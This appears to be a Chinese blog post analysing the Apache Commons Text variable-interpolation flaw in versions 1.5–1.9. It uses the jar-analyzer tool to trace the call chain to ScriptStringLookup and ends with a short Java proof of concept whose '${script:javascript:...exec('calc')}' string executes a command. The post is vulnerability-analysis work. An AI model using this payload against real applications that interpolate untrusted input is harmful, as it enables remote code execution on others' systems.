漏洞简介

Apache Commons Text 执行变量插值 (variable interpolation), 允许动态评估和扩展属性。插值的标准格式是"${prefix:name}"​,其中 "prefix" 用于查找定位执行插值 org.apache.commons.text.lookup.StringLookup​ 的实例。从 1.5 版到 1.9 版,默认的 Lookup 实例集包括可能导致任意代码执行或与远程服务器联系的插值器。

  • "script" - execute expressions using the JVM script execution engine (javax.script) 使用 JVM 脚本执行引擎(javax.script)执行表达式
  • "dns" - resolve dns records 解析 dns 记录
  • "url" - load values from urls, including from remote servers 从 url 加载值,包括从远程服务加载值

如果使用了不受信任的配置值,则在受影响版本中使用插值默认值的应用程序可能受到远程代码执行的影响。

漏洞分析

利用 jar-analyzer 来对漏洞进行分析 https://github.com/jar-analyzer/jar-analyzer

Jar Analyzer​ 是一个分析 Jar​ 文件的 GUI​ 工具:

  • 支持大 Jar​ 以及批量 Jars​ 分析
  • 方便地搜索方法之间的调用关系
  • 分析 LDC​ 指令定位 Jar​ 中的字符串
  • 一键分析 Spring Controller/Mapping
  • 对于方法字节码和指令的高级分析
  • 一键反编译,优化对内部类的处理
  • 一键生成方法的 CFG​ 分析结果
  • 一键生成方法的 Stack Frame​ 分析结果
  • 远程分析 Tomcat​ 中的 Servlet​ 等组件
  • 自定义 SQL​ 语句进行高级分析
  • 支持运行基于 Java​ 的脚本语言 Y4 Lang

下载 jar-analyzer 最新版本,为了方便运行,下载包含集成环境的版本

https://github.com/jar-analyzer/jar-analyzer/releases/download/2.9/jar-analyzer-2.9-windows-embed.zip

同时下载存在漏洞的组件 jar 包 https://repo1.maven.org/maven2/org/apache/commons/commons-text/1.9/commons-text-1.9.jar

启动 analyzer

选择漏洞组件 jar 包 进行加载

加载成功就可以进行搜索利用了

最后的漏洞触发是基于 调用ScriptEngine的eval方法 ,所以查找方法的调用关系

通过查看 caller 可以查看向上调用关系 callee 中显示的是方法中存在的函数

依次向上调用 org.apache.commons.text.lookup.lookup

通过一层层查找,整个漏洞利用链一目了然

org.apache.commons.text.StringSubstitutor#replace(java.lang.String)
org.apache.commons.text.StringSubstitutor#substitute(org.apache.commons.text.TextStringBuilder, int, int)
org.apache.commons.text.StringSubstitutor#substitute(org.apache.commons.text.TextStringBuilder, int, int, java.util.List<java.lang.String>)
org.apache.commons.text.StringSubstitutor#resolveVariable
org.apache.commons.text.lookup.InterpolatorStringLookup#lookup
org.apache.commons.text.lookup.ScriptStringLookup#lookup

构造出payload

import org.apache.commons.text.StringSubstitutor;

public class CommonsTextDemo {
    public static void main(String[] args) {
        StringSubstitutor interpolator = StringSubstitutor.createInterpolator();
        String out = interpolator.replace("${script:javascript:java.lang.Runtime.getRuntime().exec('calc')}");
    }
}

同样 在 org/apache/commons/text/StringSubstitutor.java​ 描述了一些对字符串的处理方法

jar-analyzer 的优点在于已经知道漏洞的触发点依次向上进行查询分析,快速查找确定漏洞利用链路,函数的调用关系看的非常清晰 感觉比 idea 本身的 Alt+F7 更好用一些

2 个月 后
说点什么吧...